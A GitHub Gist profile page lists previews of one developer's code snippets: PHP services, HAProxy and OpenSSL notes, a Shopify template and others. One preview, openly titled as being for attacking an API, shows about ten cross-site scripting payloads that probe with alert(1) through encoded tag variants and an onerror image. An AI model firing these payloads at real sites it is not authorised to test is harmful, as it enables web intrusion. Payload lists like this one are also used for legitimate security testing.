Skip to content

Instantly share code, notes, and snippets.

View kaerer's full-sized avatar
🍀
Life goes on.

Erce Erözbek kaerer

🍀
Life goes on.
View GitHub Profile
@kaerer
kaerer / AmazonS3Service.php
Created May 26, 2017 09:59
A simple Symfony Service to Upload Files to Amazon S3
<?php
namespace Acme\DemoBundle\Services;
use Aws\S3\S3Client;
/**
* Class AmazonS3Service
*
* @package Acme\DemoBundle\Service
*/
@kaerer
kaerer / haproxy.cfg
Created July 21, 2017 08:31
Here's a sample WORKING haproxy config for websockets / socketio. We were able to get socketio working on an Amazon ELB with just one node, but when we added multiple nodes, we saw weird client issues. So, we decided to use HAProxy on Ubuntu 12.04 and spent significant time trying to get just the right configuration (haproxy.cfg). Note though th…
global
#debug
#daemon
log 127.0.0.1 local0
defaults
log global
option httplog
frontend unsecured *:80
@kaerer
kaerer / random_strgenerator.php
Created January 31, 2018 14:30 — forked from irazasyed/random_strgenerator.php
PHP: Generate random string
/**
* Generate and return a random characters string
*
* Useful for generating passwords or hashes.
*
* The default string returned is 8 alphanumeric characters string.
*
* The type of string returned can be changed with the "type" parameter.
* Seven types are - by default - available: basic, alpha, alphanum, num, nozero, unique and md5.
*
@kaerer
kaerer / fb-open-graph.liquid
Created April 8, 2019 09:37 — forked from JefferyHus/fb-open-graph.liquid
Facebook Open Graph meta tags for Shopify. Add this as a snippet called "fb-open-graph.liquid" in your theme, and then add {% include 'fb-open-graph' %} to your theme.liquid file.
{% if template contains 'product' %}
<meta property="og:type" content="product">
<meta property="og:title" content="{{ product.title | strip_html | escape }}">
<meta property="og:category" content="{{ product.type }}" />
{% for image in product.images limit:3 %}
<meta property="og:image" content="http:{{ image.src | product_img_url: 'master' }}">
<meta property="og:image:secure_url" content="https:{{ image.src | product_img_url: 'master' }}">
{% endfor %}
<meta property="og:price:amount" content="{{ product.price | money_without_currency | stip_html | escape | remove: ',' }}">
<meta property="og:price:currency" content="{{ shop.currency }}">
@kaerer
kaerer / openssl.md
Created April 8, 2019 09:41 — forked from NoMan2000/openssl.md
Common OpenSSL Commands with Keys and Certificates

Common OpenSSL Commands with Keys and Certificates

SSL Info

Generate RSA private key with certificate in a single command

openssl req -x509 -newkey rsa:4096 -sha256 -keyout example.key -out example.crt -subj "/CN=example.com" -days 3650 -passout pass:foobar

Generate Certificate Signing Request (CSR) from private key with passphrase

openssl x509 -x509toreq -in example.crt -out example.csr -signkey example.key -passin pass:foobar

@kaerer
kaerer / myservice
Created April 12, 2019 10:49 — forked from rodrigoespinozadev/myservice
Running a PHP script as a service/daemon using `start-stop-daemon`
#! /bin/sh
# Installation
# - Move this to /etc/init.d/myservice
# - chmod +x this
#
# Starting and stopping
# - Start: `service myservice start` or `/etc/init.d/myservice start`
# - Stop: `service myservice stop` or `/etc/init.d/myservice stop`
@kaerer
kaerer / particles.html
Created April 12, 2019 15:31 — forked from u01jmg3/particles.html
Particles
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Particles</title>
<style>body { background-color: #1a252f }</style>
</head>
<body>
@kaerer
kaerer / readme.md
Created April 15, 2019 09:27 — forked from JefferyHus/readme.md
How to publish packages to NPM

Getting Started with NPM (as a developer)

If you haven't already set your NPM author info, now you should:

npm set init.author.name "Your Name"
npm set init.author.email "you@example.com"
npm set init.author.url "http://yourblog.com"

npm adduser

@kaerer
kaerer / 666_lines_of_XSS_vectors.html
Created April 15, 2019 09:49 — forked from dexit/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@kaerer
kaerer / session-readonly.php
Created April 15, 2019 09:52 — forked from u01jmg3/session-readonly.php
Session locking - non-blocking read-only sessions in PHP
<?php
function session_readonly(){
if(version_compare(PHP_VERSION, '7.0.0') >= 0){
session_start(array('read_and_close' => true));
} else {
$session_name = preg_replace('/[^\da-z]/i', '', $_COOKIE[session_name()]);
$session_data = file_get_contents(session_save_path() . '/sess_' . $session_name);
$return_data = array();
$offset = 0;